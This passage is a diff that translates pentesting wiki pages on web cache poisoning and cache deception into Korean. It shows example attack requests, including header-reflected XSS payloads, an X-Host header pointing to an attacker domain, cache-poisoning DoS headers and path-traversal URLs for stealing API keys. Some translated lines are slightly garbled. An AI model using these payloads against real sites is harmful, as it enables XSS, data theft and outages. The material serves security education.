할 수 있습니다: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` +_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._ -_Note that this will poison a request to `/en?region=uk` not to `/en`_ - -### Cache poisoning to DoS +### DoS를 위한 캐시 오염 {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Using web cache poisoning to exploit cookie-handling vulnerabilities - -Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. +### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용 +쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` +취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오. -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. +### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 -### Generating discrepancies with delimiters, normalization and dots - -Check: +확인하십시오: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning with path traversal to steal API key +### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 때 정규화가 이루어졌습니다. -This is also explained better in: +이것은 다음에서 더 잘 설명됩니다: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Using multiple headers to exploit web cache poisoning vulnerabilities - -Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect. +### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 +때때로 캐시를 악용하기 위해 **여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` +### 제한된 `Vary` 헤더로 악용하기 -### Exploiting with limited `Vary`header - -If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent: - +**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다: ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` - ### Fat Get -Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website: - +URL와 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -153,22 +142,21 @@ Content-Length: 22 report=innocent-victim ``` - There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. +예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 구분할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +여기에서 [Cache Poisoning 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요. ### Automated testing for Web Cache Poisoning -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다. Example usage: `wcvs -u example.com` @@ -176,35 +164,35 @@ Example usage: `wcvs -u example.com` ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. +ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 있었습니다. ### GitHub CP-DoS -Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users. +content-type 헤더에 잘못된 값을 보내면 405 캐시된 응답이 발생했습니다. 캐시 키에는 쿠키가 포함되어 있어 인증되지 않은 사용자만 공격할 수 있었습니다. ### GitLab + GCP CP-DoS -GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`. +GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다. ### Rack Middleware (Ruby on Rails) -In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk. +Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다. ### 403 and Storage Buckets -Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. +Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐시를 중단했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다. ### Injecting Keyed Parameters -Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error. +캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다. ### User Agent Rules -Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS. +일부 개발자는 서버 부하를 관리하기 위해 FFUF 또는 Nuclei와 같은 고트래픽 도구의 사용자 에이전트와 일치하는 요청을 차단합니다. 아이러니하게도, 이 접근 방식은 캐시 오염 및 DoS와 같은 취약점을 도입할 수 있습니다. ### Illegal Header Fields -The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더(예: `\`)를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다. ### Finding new headers @@ -212,30 +200,30 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep ## Cache Deception -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다. -Other things to test: +테스트할 다른 사항들: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Use lesser known extensions such as_ `.avif` +- _덜 알려진 확장자 사용하기:_.avif -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\ +그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다. -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). +**cache proxy**는 **extension**에 따라 파일을 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되어서는 안 됩니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` 콘텐츠 유형을 가지며, 이는 _.css_ 파일에 대한 예상 MIME 유형이 아닌 것입니다. -Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +여기에서 [Cache Deceptions 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요. ## Automatic Tools -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. +- [**toxicache**](https://github.com/xhzeem/toxicache): URL 목록에서 웹 캐시 오염 취약점을 찾고 여러 주입 기술을 테스트하는 Golang 스캐너입니다. ## References @@ -255,4 +243,3 @@ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 9002e1464..5cbab838d 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,42 +3,35 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers** +> 이 페이지에서는 **캐시 서버에 유효한** 요청에 대해 **웹 서버가 오류로 응답하도록** 시도할 수 있는 다양한 변형을 찾을 수 있습니다. - **HTTP Header Oversize (HHO)** -Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached: - +웹 서버가 지원하는 것보다 크지만 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 캐시될 수 있는 400 응답으로 응답할 것입니다: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` +- **HTTP 메타 문자 (HMC) 및 예상치 못한 값** -- **HTTP Meta Character (HMC) & Unexpected values** - -Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first. - +해당 공격이 작동하려면 먼저 캐시를 우회해야 합니다. 해로운 메타 문자가 포함된 헤더를 전송하십시오. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` +잘못 구성된 헤더는 단순히 `\:`로 헤더가 될 수 있습니다. -A badly configured header could be just `\:` as a header. - -This could also work if unexpected values are sent, like an unexpected Content-Type: - +예상치 못한 값이 전송되면, 예를 들어 예상치 못한 Content-Type:와 같은 경우에도 작동할 수 있습니다. ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` +- **키가 없는 헤더** -- **Unkeyed header** - -Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header: - +일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환합니다. ``` GET /app.js HTTP/2 Host: redacted.com @@ -49,21 +42,17 @@ Cache: hit Invalid Header ``` +- **HTTP 메서드 오버라이드 공격 (HMO)** -- **HTTP Method Override Attack (HMO)** - -If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached: - +서버가 `X-HTTP-Method-Override`, `X-HTTP-Method` 또는 `X-Method-Override`와 같은 헤더로 HTTP 메서드를 변경하는 것을 지원하는 경우, 메서드를 변경하여 유효한 페이지를 요청할 수 있습니다. 이렇게 하면 서버가 이를 지원하지 않으므로 잘못된 응답이 캐시됩니다: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` +- **키가 없는 포트** -- **Unkeyed Port** - -If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port: - +Host 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` - - **Long Redirect DoS** -Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response: - +다음 예와 같이 x가 캐시되지 않기 때문에 공격자는 리디렉션 응답 동작을 악용하여 리디렉션이 너무 큰 URL을 보내도록 만들어 오류를 반환할 수 있습니다. 그런 다음 uncached x 키 없이 URL에 접근하려는 사람들은 오류 응답을 받게 됩니다: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -91,11 +78,9 @@ Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` +- **호스트 헤더 대소문자 정규화** -- **Host header case normalization** - -The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not: - +호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며, 그렇지 않을 경우 오류를 반환합니다: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com @@ -105,11 +90,9 @@ Cache:miss Not Found ``` +- **경로 정규화** -- **Path normalization** - -Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path: - +일부 페이지는 경로에 데이터를 URL 인코딩하여 전송할 때 오류 코드를 반환하지만, 캐시 서버는 경로를 URL 디코딩하고 URL 디코딩된 경로에 대한 응답을 저장합니다: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com @@ -120,11 +103,9 @@ Cach:miss Not Found ``` - - **Fat Get** -Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response: - +일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중지하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다: ``` GET /index.html HTTP/2 Host: redacted.com @@ -136,11 +117,9 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` - -## References +## 참고 문헌 - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index a3b1464f1..6d521d4d1 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -1,53 +1,52 @@ -# Cache Poisoning via URL discrepancies +# URL 불일치를 통한 캐시 오염 {{#include ../../banners/hacktricks-training.md}} -This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.** +이 문서는 캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만드는 것**입니다. > [!NOTE] -> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example). +> 이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 하여 캐시하도록 만드는 것**입니다. 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하도록 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다. -## Delimiters +## 구분자 -**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are: +**URL 구분자**는 프레임워크와 서버에 따라 다르며, 요청이 라우팅되고 응답이 처리되는 방식에 영향을 미칩니다. 일반적인 원본 구분자는 다음과 같습니다: -- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`) -- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`). -- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`). +- **세미콜론**: Spring에서 행렬 변수를 위해 사용됩니다 (예: `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +- **점**: Ruby on Rails에서 응답 형식을 지정합니다 (예: `/MyAccount.css` → `/MyAccount`). +- **널 바이트**: OpenLiteSpeed에서 경로를 잘라냅니다 (예: `/MyAccount%00aaa` → `/MyAccount`). +- **새 줄 바이트**: Nginx에서 URL 구성 요소를 구분합니다 (예: `/users/MyAccount%0aaaa` → `/account/MyAccount`). -Other specific delimiters might be found following this process: +다음 프로세스를 따라 다른 특정 구분자를 찾을 수 있습니다: -- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled. -- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter. -- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage. +- **1단계**: 캐시할 수 없는 요청을 식별하고 이를 사용하여 잠재적인 구분자가 있는 URL이 어떻게 처리되는지 모니터링합니다. +- **2단계**: 경로에 임의의 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다. +- **3단계**: 임의의 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다. -## Normalization & Encodings +## 정규화 및 인코딩 -- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys. -- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments. +- **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 추출하기 위해 URL을 정규화합니다. +- **프로세스**: 경로 구분자를 식별하고 문자를 디코딩하고 점 세그먼트를 제거하여 경로를 추출하고 정규화합니다. -### **Encodings** +### **인코딩** -Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. +Nginx, Node 및 CloudFront와 같은 다양한 HTTP 서버 및 프록시는 구분자를 다르게 디코딩하여 CDNs 및 원본 서버 간의 불일치를 초래할 수 있습니다. 예를 들어, 웹 서버가 이 변환을 수행하는 경우 `/myAccount%3Fparam` → `/myAccount?param`이지만 캐시 서버는 경로 `/myAccount%3Fparam`을 키로 유지하면 불일치가 발생합니다. -A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response. +이러한 불일치를 확인하는 방법은 경로를 인코딩 없이 로드한 후 다양한 문자를 URL 인코딩하여 요청을 보내고 인코딩된 경로 응답이 캐시된 응답에서 온 것인지 확인하는 것입니다. -### Dot segment +### 점 세그먼트 -The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\ -Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested. +점이 포함된 경로 정규화는 캐시 오염 공격에 매우 흥미롭습니다. 예를 들어, `/static/../home/index` 또는 `/aaa..\home/index`와 같은 경우, 일부 캐시 서버는 이러한 경로를 키로 사용하여 캐시할 수 있지만 다른 서버는 경로를 해결하고 `/home/index`를 캐시 키로 사용할 수 있습니다.\ +이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 요청된 경로에서 수집된 응답인지 확인하는 것이 도움이 됩니다. -## Static Resources +## 정적 리소스 -Several cache servers will always cache a response if it's identified as static. This might be because: +여러 캐시 서버는 응답이 정적이라고 식별되면 항상 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다: -- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - - It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home` -- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared - - It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home` - - **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home` -- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`. +- **확장자**: Cloudflare는 다음 확장자를 가진 파일을 항상 캐시합니다: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx +- 구분자와 정적 확장을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home$image.png`에 대한 요청은 `/home$image.png`를 캐시하고 원본 서버는 `/home`으로 응답합니다. +- **잘 알려진 정적 디렉토리**: 다음 디렉토리는 정적 파일을 포함하고 있으므로 그 응답은 캐시되어야 합니다: /static, /assets, /wp-content, /media, /templates, /public, /shared +- 구분자, 정적 디렉토리 및 점을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 